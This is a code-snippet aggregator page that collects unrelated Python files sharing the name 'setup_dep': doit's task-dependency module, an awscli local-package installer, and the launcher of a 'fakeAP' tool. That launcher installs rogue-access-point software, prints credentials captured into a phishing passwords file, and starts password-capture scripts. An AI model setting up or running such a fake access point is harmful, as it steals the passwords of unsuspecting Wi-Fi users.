Test your AI Agents with the all-new Agent to Agent Testing Platform.Learn More

How to use setup_dep method in autotest

Best Python code snippet using autotest_python

task.py

Source:task.py

1"""Tasks are the main abstractions managed by doit"""2import types3import os4import sys5import inspect6from collections import OrderedDict7from functools import partial8from pathlib import PurePath9from .cmdparse import CmdOption, TaskParse10from .exceptions import CatchedException, InvalidTask11from .action import create_action, PythonAction12from .dependency import UptodateCalculator13def first_line(doc):14    """extract first non-blank line from text, to extract docstring title"""15    if doc is not None:16        for line in doc.splitlines():17            striped = line.strip()18            if striped:19                return striped20    return ''21class DelayedLoader(object):22    """contains info for delayed creation of tasks from a task-creator23    :ivar creator: reference to task-creator function24    :ivar task_dep: (str) name of task that should be executed before the25                    the loader call the creator function26    :ivar basename: (str) basename used when creating tasks27                   This is used when doit creates new tasks to handle28                   tasks and targets specified on command line29    :ivar target_regex: (str) regex for all targets that this loader tasks30                        will create31    :ivar created: (bool) wheather this creator was already executed or not32    """33    def __init__(self, creator, executed=None, target_regex=None, creates=None):34        self.creator = creator35        self.task_dep = executed36        self.basename = None37        self.created = False38        self.target_regex = target_regex39        self.creates = creates[:] if creates else []40        self.regex_groups = OrderedDict()  # task_name:RegexGroup41# used to indicate that a task had DelayedLoader but was already created42DelayedLoaded = False43class Task(object):44    """Task45    @ivar name string46    @ivar actions: list - L{BaseAction}47    @ivar clean_actions: list - L{BaseAction}48    @ivar loader (DelayedLoader)49    @ivar teardown (list - L{BaseAction})50    @ivar targets: (list -string)51    @ivar task_dep: (list - string)52    @ivar wild_dep: (list - string) task dependency using wildcard *53    @ivar file_dep: (set - string)54    @ivar calc_dep: (set - string) reference to a task55    @ivar dep_changed (list - string): list of file-dependencies that changed56          (are not up_to_date). this must be set before57    @ivar uptodate: (list - bool/None) use bool/computed value instead of58                                       checking dependencies59    @ivar value_savers (list - callables) that return dicts to be added to60                           task values. Always executed on main process.61                           To be used by `uptodate` implementations.62    @ivar setup_tasks (list - string): references to task-names63    @ivar is_subtask: (bool) indicate this task is a subtask64    @ivar has_subtask: (bool) indicate this task has subtasks65    @ivar result: (str) last action "result". used to check task-result-dep66    @ivar values: (dict) values saved by task that might be used by other tasks67    @ivar getargs: (dict) values from other tasks68    @ivar doc: (string) task documentation69    @ivar options: (dict) calculated params values (from getargs and taskopt)70    @ivar taskopt: (cmdparse.CmdParse)71    @ivar pos_arg: (str) name of parameter in action to receive positional72                     parameters from command line73    @ivar pos_arg_val: (list - str) list of positional parameters values74    @ivar custom_title: function reference that takes a task object as75                        parameter and returns a string.76    """77    DEFAULT_VERBOSITY = 178    string_types = (str, )79    # list of valid types/values for each task attribute.80    valid_attr = {'basename': (string_types, ()),81                  'name': (string_types, ()),82                  'actions': ((list, tuple), (None,)),83                  'file_dep': ((list, tuple), ()),84                  'task_dep': ((list, tuple), ()),85                  'uptodate': ((list, tuple), ()),86                  'calc_dep': ((list, tuple), ()),87                  'targets': ((list, tuple), ()),88                  'setup': ((list, tuple), ()),89                  'clean': ((list, tuple), (True,)),90                  'teardown': ((list, tuple), ()),91                  'doc': (string_types, (None,)),92                  'params': ((list, tuple,), ()),93                  'pos_arg': (string_types, (None,)),94                  'verbosity': ((), (None, 0, 1, 2,)),95                  'getargs': ((dict,), ()),96                  'title': ((types.FunctionType,), (None,)),97                  'watch': ((list, tuple), ()),98    }99    def __init__(self, name, actions, file_dep=(), targets=(),100                 task_dep=(), uptodate=(),101                 calc_dep=(), setup=(), clean=(), teardown=(),102                 is_subtask=False, has_subtask=False,103                 doc=None, params=(), pos_arg=None,104                 verbosity=None, title=None, getargs=None,105                 watch=(), loader=None):106        """sanity checks and initialization107        @param params: (list of dict for parameters) see cmdparse.CmdOption108        """109        getargs = getargs or {} #default110        self.check_attr(name, 'name', name, self.valid_attr['name'])111        self.check_attr(name, 'actions', actions, self.valid_attr['actions'])112        self.check_attr(name, 'file_dep', file_dep, self.valid_attr['file_dep'])113        self.check_attr(name, 'task_dep', task_dep, self.valid_attr['task_dep'])114        self.check_attr(name, 'uptodate', uptodate, self.valid_attr['uptodate'])115        self.check_attr(name, 'calc_dep', calc_dep, self.valid_attr['calc_dep'])116        self.check_attr(name, 'targets', targets, self.valid_attr['targets'])117        self.check_attr(name, 'setup', setup, self.valid_attr['setup'])118        self.check_attr(name, 'clean', clean, self.valid_attr['clean'])119        self.check_attr(name, 'teardown', teardown, self.valid_attr['teardown'])120        self.check_attr(name, 'doc', doc, self.valid_attr['doc'])121        self.check_attr(name, 'params', params, self.valid_attr['params'])122        self.check_attr(name, 'pos_arg', pos_arg,123                        self.valid_attr['pos_arg'])124        self.check_attr(name, 'verbosity', verbosity,125                        self.valid_attr['verbosity'])126        self.check_attr(name, 'getargs', getargs, self.valid_attr['getargs'])127        self.check_attr(name, 'title', title, self.valid_attr['title'])128        self.check_attr(name, 'watch', watch, self.valid_attr['watch'])129        if '=' in name:130            msg = "Task '{}': name must not use the char '=' (equal sign)."131            raise InvalidTask(msg.format(name))132        self.name = name133        self.params = params # save just for use on command `info`134        self.options = None135        self.pos_arg = pos_arg136        self.pos_arg_val = None # to be set when parsing command line137        self.setup_tasks = list(setup)138        # actions139        self._action_instances = None140        if actions is None:141            self._actions = []142        else:143            self._actions = list(actions[:])144        self._init_deps(file_dep, task_dep, calc_dep)145        # loaders create an implicity task_dep146        self.loader = loader147        if self.loader and self.loader.task_dep:148            self.task_dep.append(loader.task_dep)149        uptodate = uptodate if uptodate else []150        self.getargs = getargs151        if self.getargs:152            uptodate.extend(self._init_getargs())153        self.value_savers = []154        self.uptodate = self._init_uptodate(uptodate)155        self.targets = self._init_targets(targets)156        self.is_subtask = is_subtask157        self.has_subtask = has_subtask158        self.result = None159        self.values = {}160        self.verbosity = verbosity161        self.custom_title = title162        # clean163        if clean is True:164            self._remove_targets = True165            self.clean_actions = ()166        else:167            self._remove_targets = False168            self.clean_actions = [create_action(a, self) for a in clean]169        self.teardown = [create_action(a, self) for a in teardown]170        self.doc = self._init_doc(doc)171        self.watch = watch172    def _init_deps(self, file_dep, task_dep, calc_dep):173        """init for dependency related attributes"""174        self.dep_changed = None175        # file_dep176        self.file_dep = set()177        self._expand_file_dep(file_dep)178        # task_dep179        self.task_dep = []180        self.wild_dep = []181        if task_dep:182            self._expand_task_dep(task_dep)183        # calc_dep184        self.calc_dep = set()185        if calc_dep:186            self._expand_calc_dep(calc_dep)187    def _init_targets(self, items):188        """convert valid targets to `str`"""189        targets = []190        for target in items:191            if isinstance(target, str):192                targets.append(target)193            elif isinstance(target, PurePath):194                targets.append(str(target))195            else:196                msg = ("%s. target must be a str or Path from pathlib. " +197                       "Got '%r' (%s)")198                raise InvalidTask(msg % (self.name, target, type(target)))199        return targets200    def _init_uptodate(self, items):201        """wrap uptodate callables"""202        uptodate = []203        for item in items:204            # configure task205            if hasattr(item, 'configure_task'):206                item.configure_task(self)207            # check/append uptodate value to task208            if isinstance(item, bool) or item is None:209                uptodate.append((item, None, None))210            elif hasattr(item, '__call__'):211                uptodate.append((item, [], {}))212            elif isinstance(item, tuple):213                call = item[0]214                args = list(item[1]) if len(item) > 1 else []215                kwargs = item[2] if len(item) > 2 else {}216                uptodate.append((call, args, kwargs))217            elif isinstance(item, str):218                uptodate.append((item, [], {}))219            else:220                msg = ("%s. task invalid 'uptodate' item '%r'. " +221                       "Must be bool, None, str, callable or tuple " +222                       "(callable, args, kwargs).")223                raise InvalidTask(msg % (self.name, item))224        return uptodate225    def _expand_file_dep(self, file_dep):226        """put input into file_dep"""227        for dep in file_dep:228            if isinstance(dep, str):229                self.file_dep.add(dep)230            elif isinstance(dep, PurePath):231                self.file_dep.add(str(dep))232            else:233                msg = ("%s. file_dep must be a str or Path from pathlib. " +234                       "Got '%r' (%s)")235                raise InvalidTask(msg % (self.name, dep, type(dep)))236    def _expand_task_dep(self, task_dep):237        """convert task_dep input into actaul task_dep and wild_dep"""238        for dep in task_dep:239            if "*" in dep:240                self.wild_dep.append(dep)241            else:242                self.task_dep.append(dep)243    def _expand_calc_dep(self, calc_dep):244        """calc_dep input"""245        for dep in calc_dep:246            if dep not in self.calc_dep:247                self.calc_dep.add(dep)248    def _extend_uptodate(self, uptodate):249        """add/extend uptodate values"""250        self.uptodate.extend(self._init_uptodate(uptodate))251    # FIXME should support setup also252    _expand_map = {253        'task_dep': _expand_task_dep,254        'file_dep': _expand_file_dep,255        'calc_dep': _expand_calc_dep,256        'uptodate': _extend_uptodate,257    }258    def update_deps(self, deps):259        """expand all kinds of dep input"""260        for dep, dep_values in deps.items():261            if dep not in self._expand_map:262                continue263            self._expand_map[dep](self, dep_values)264    def init_options(self):265        """Put default values on options.266        This will only be used, if params options were not passed267        on the command line.268        """269        if self.options is None:270            taskcmd = TaskParse([CmdOption(opt) for opt in self.params])271            # ignore positional parameters272            self.options = taskcmd.parse('')[0]273    def _init_getargs(self):274        """task getargs attribute define implicit task dependencies"""275        check_result = set()276        for arg_name, desc in self.getargs.items():277            # tuple (task_id, key_name)278            parts = desc279            if isinstance(parts, str) or len(parts) != 2:280                msg = ("Taskid '%s' - Invalid format for getargs of '%s'.\n" %281                       (self.name, arg_name) +282                       "Should be tuple with 2 elements " +283                       "('<taskid>', '<key-name>') got '%s'\n" % desc)284                raise InvalidTask(msg)285            if parts[0] not in self.setup_tasks:286                check_result.add(parts[0])287        return [result_dep(t, setup_dep=True) for t in check_result]288    @staticmethod289    def _init_doc(doc):290        """process task "doc" attribute"""291        # store just first non-empty line as documentation string292        return first_line(doc)293    @staticmethod294    def check_attr(task, attr, value, valid):295        """check input task attribute is correct type/value296        @param task (string): task name297        @param attr (string): attribute name298        @param value: actual input from user299        @param valid (list): of valid types/value accepted300        @raises InvalidTask if invalid input301        """302        if type(value) in valid[0]:303            return304        if value in valid[1]:305            return306        # input value didnt match any valid type/value, raise execption307        msg = "Task '%s' attribute '%s' must be " % (task, attr)308        accept = ", ".join([getattr(v, '__name__', str(v)) for v in309                            (valid[0] + valid[1])])310        msg += "{%s} got:%r %s" % (accept, value, type(value))311        raise InvalidTask(msg)312    @property313    def actions(self):314        """lazy creation of action instances"""315        if self._action_instances is None:316            self._action_instances = [317                create_action(a, self) for a in self._actions]318        return self._action_instances319    def save_extra_values(self):320        """run value_savers updating self.values"""321        for value_saver in self.value_savers:322            self.values.update(value_saver())323    def _get_out_err(self, out, err, verbosity):324        """select verbosity to be used"""325        priority = (verbosity, # use command line option326                    self.verbosity, # or task default from dodo file327                    self.DEFAULT_VERBOSITY) # or global default328        use_verbosity = [v for v in  priority if v is not None][0]329        out_err = [(None, None), # 0330                   (None, err),  # 1331                   (out, err)]   # 2332        return out_err[use_verbosity]333    def execute(self, out=None, err=None, verbosity=None):334        """Executes the task.335        @return failure: see CmdAction.execute336        """337        self.init_options()338        task_stdout, task_stderr = self._get_out_err(out, err, verbosity)339        for action in self.actions:340            action_return = action.execute(task_stdout, task_stderr)341            if isinstance(action_return, CatchedException):342                return action_return343            self.result = action.result344            self.values.update(action.values)345    def execute_teardown(self, out=None, err=None, verbosity=None):346        """Executes task's teardown347        @return failure: see CmdAction.execute348        """349        task_stdout, task_stderr = self._get_out_err(out, err, verbosity)350        for action in self.teardown:351            action_return = action.execute(task_stdout, task_stderr)352            if isinstance(action_return, CatchedException):353                return action_return354    def clean(self, outstream, dryrun):355        """Execute task's clean356        @ivar outstream: 'write' output into this stream357        @ivar dryrun (bool): if True clean tasks are not executed358                             (just print out what would be executed)359        """360        self.init_options()361        # if clean is True remove all targets362        if self._remove_targets is True:363            clean_targets(self, dryrun)364        else:365            # clean contains a list of actions...366            for action in self.clean_actions:367                msg = "%s - executing '%s'\n"368                outstream.write(msg % (self.name, action))369                # add extra arguments used by clean actions370                if isinstance(action, PythonAction):371                    action_sig = inspect.signature(action.py_callable)372                    if 'dryrun' in action_sig.parameters:373                        action.kwargs['dryrun'] = dryrun374                if not dryrun:375                    result = action.execute(out=outstream)376                    if isinstance(result, CatchedException):377                        sys.stderr.write(str(result))378    def title(self):379        """String representation on output.380        @return: (str) Task name and actions381        """382        if self.custom_title:383            return self.custom_title(self)384        return self.name385    def __repr__(self):386        return "<Task: %s>"% self.name387    def __getstate__(self):388        """remove attributes that never used on process that only execute tasks389        """390        to_pickle = self.__dict__.copy()391        # never executed in sub-process392        to_pickle['uptodate'] = None393        to_pickle['value_savers'] = None394        # can be re-recreated on demand395        to_pickle['_action_instances'] = None396        return to_pickle397    # when using multiprocessing Tasks are pickled.398    def pickle_safe_dict(self):399        """remove attributes that might contain unpickleble content400        mostly probably closures401        """402        to_pickle = self.__dict__.copy()403        del to_pickle['_actions']404        del to_pickle['_action_instances']405        del to_pickle['clean_actions']406        del to_pickle['teardown']407        del to_pickle['custom_title']408        del to_pickle['value_savers']409        del to_pickle['uptodate']410        return to_pickle411    def update_from_pickle(self, pickle_obj):412        """update self with data from pickled Task"""413        self.__dict__.update(pickle_obj)414    def __eq__(self, other):415        return self.name == other.name416    def __lt__(self, other):417        """used on default sorting of tasks (alphabetically by name)"""418        return self.name < other.name419def dict_to_task(task_dict):420    """Create a task instance from dictionary.421    The dictionary has the same format as returned by task-generators422    from dodo files.423    @param task_dict (dict): task representation as a dict.424    @raise InvalidTask: If unexpected fields were passed in task_dict425    """426    # check required fields427    if 'actions' not in task_dict:428        raise InvalidTask("Task %s must contain 'actions' field. %s" %429                          (task_dict['name'], task_dict))430    # user friendly. dont go ahead with invalid input.431    task_attrs = list(task_dict.keys())432    valid_attrs = set(Task.valid_attr.keys())433    for key in task_attrs:434        if key not in valid_attrs:435            raise InvalidTask("Task %s contains invalid field: '%s'"%436                              (task_dict['name'], key))437    return Task(**task_dict)438def clean_targets(task, dryrun):439    """remove all targets from a task"""440    files = [path for path in task.targets if os.path.isfile(path)]441    dirs = [path for path in task.targets if os.path.isdir(path)]442    # remove all files443    for file_ in files:444        print("%s - removing file '%s'" % (task.name, file_))445        if not dryrun:446            os.remove(file_)447    # remove all directories (if empty)448    for dir_ in dirs:449        if os.listdir(dir_):450            msg = "%s - cannot remove (it is not empty) '%s'"451            print(msg % (task.name, dir_))452        else:453            msg = "%s - removing dir '%s'"454            print(msg % (task.name, dir_))455            if not dryrun:456                os.rmdir(dir_)457def _return_param(val):458    '''just return passed parameter - make a callable from any value'''459    return val460# uptodate461class result_dep(UptodateCalculator):462    """check if result of the given task was modified463    """464    def __init__(self, dep_task_name, setup_dep=False):465        '''466        :param setup_dep: controls if dependent task is task_dep or setup467        '''468        self.dep_name = dep_task_name469        self.setup_dep = setup_dep470        self.result_name = '_result:%s' % self.dep_name471    def configure_task(self, task):472        """to be called by doit when create the task"""473        # result_dep creates an implicit task_dep474        if self.setup_dep:475            task.setup_tasks.append(self.dep_name)476        else:477            task.task_dep.append(self.dep_name)478    def _result_single(self):479        """get result from a single task"""480        return self.get_val(self.dep_name, 'result:')481    def _result_group(self, dep_task):482        """get result from a group task483        the result is the combination of results of all sub-tasks484        """485        prefix = dep_task.name + ":"486        sub_tasks = {}487        for sub in dep_task.task_dep:488            if sub.startswith(prefix):489                sub_tasks[sub] = self.get_val(sub, 'result:')490        return sub_tasks491    def __call__(self, task, values):492        """return True if result is the same as last run"""493        dep_task = self.tasks_dict[self.dep_name]494        if not dep_task.has_subtask:495            dep_result = self._result_single()496        else:497            dep_result = self._result_group(dep_task)498        func = partial(_return_param, {self.result_name: dep_result})499        task.value_savers.append(func)500        last_success = values.get(self.result_name)501        if last_success is None:502            return False...

install_deps.py

Source:install_deps.py

1import os2from utils import cd, bin_path, run, virtualenv_enabled3INSTALL_ARGS = "--no-binary :all: --no-build-isolation --no-cache-dir --no-index "4PINNED_PIP_VERSION = '20.0.2'5SETUP_DEPS = ("setuptools-", "setuptools_scm", "wheel")6class InstallationError(Exception):7    pass8def get_package_tarball(package_dir, package_prefix):9    package_filenames = sorted(10        [p for p in os.listdir(package_dir) if p.startswith(package_prefix)]11    )12    if len(package_filenames) == 0:13        raise InstallationError(14            "Unable to find local package starting with %s prefix." % package_prefix15        )16    # We only expect a single package from the downloader17    return package_filenames[0]18def install_local_package(package_dir, package, pip_script="pip"):19    with cd(package_dir):20        run(21            "%s install %s --find-links file://%s %s"22            % (pip_script, INSTALL_ARGS, package_dir, package)23        )24def find_and_install_tarball(package_dir, package_prefix, pip_script="pip"):25    tarball = get_package_tarball(package_dir, package_prefix)26    install_local_package(package_dir, tarball, pip_script)27def pip_install_packages(package_dir):28    package_dir = os.path.abspath(package_dir)29    # Setup pip to support modern setuptools calls30    pip_script = os.path.join(os.environ["VIRTUAL_ENV"], bin_path(), "pip")31    local_python = os.path.join(os.environ["VIRTUAL_ENV"], bin_path(), "python")32    # Windows can't replace a running pip.exe, so we need to work around33    run("%s -m pip install pip==%s" % (local_python, PINNED_PIP_VERSION))34    # Install or update prerequisite build packages35    setup_requires_dir = os.path.join(package_dir, "setup")36    install_setup_deps(pip_script, setup_requires_dir)37    find_and_install_tarball(package_dir, "awscli", pip_script)38def install_setup_deps(pip_script, setup_package_dir):39    # These packages need to be installed in this order before we40    # attempt anything else in order to support PEP517 setup_requires41    # specifications.42    # We need setuptools >= 37.0.0 for setuptools_scm to work properly43    for setup_dep in SETUP_DEPS:44        find_and_install_tarball(setup_package_dir, setup_dep, pip_script)45def install_packages(package_dir):46    """Builds setup environment and installs copies of local packages for CLI"""47    if not virtualenv_enabled():48        raise InstallationError(49            "Installation being performed outside of a virtualenv. Please enable before running."50        )51    else:...

main.py

Source:main.py

2#install dependecies on first time running3def first_time():4	yn_ans = raw_input("\n\n***************Welcome to fakeAP***************\n\n Do you want to do First Time Wizard Install? [Y/n]\n\n")5	if yn_ans == '' or yn_ans == 'Y' or yn_ans == 'y':6		setup_dep()7		8def setup_dep():9	os.system("sudo apt update")10	dep = "apache2 hostapd dnsmasq"11	os.system("sudo apt install " + dep + " -y")12#print captured passwords13def print_passwords():14	print "\n\n*************** passwords captured: ***************\n"15	os.system("grep -w mail phishing/passwords.txt ")16#**********************************************main*******************************************************#17first_time()18os.system("python src/capture_password.py & python src/fakeAP.py")...

Automation Testing Tutorials

Learn to execute automation testing from scratch with LambdaTest Learning Hub. Right from setting up the prerequisites to run your first automation test, to following best practices and diving deeper into advanced test scenarios. LambdaTest Learning Hubs compile a list of step-by-step guides to help you be proficient with different test automation frameworks i.e. Selenium, Cypress, TestNG etc.